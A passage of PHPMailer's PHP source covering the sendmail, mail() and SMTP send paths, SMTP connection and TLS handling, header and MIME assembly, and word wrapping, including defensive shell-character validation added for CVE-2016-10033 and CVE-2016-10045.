                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
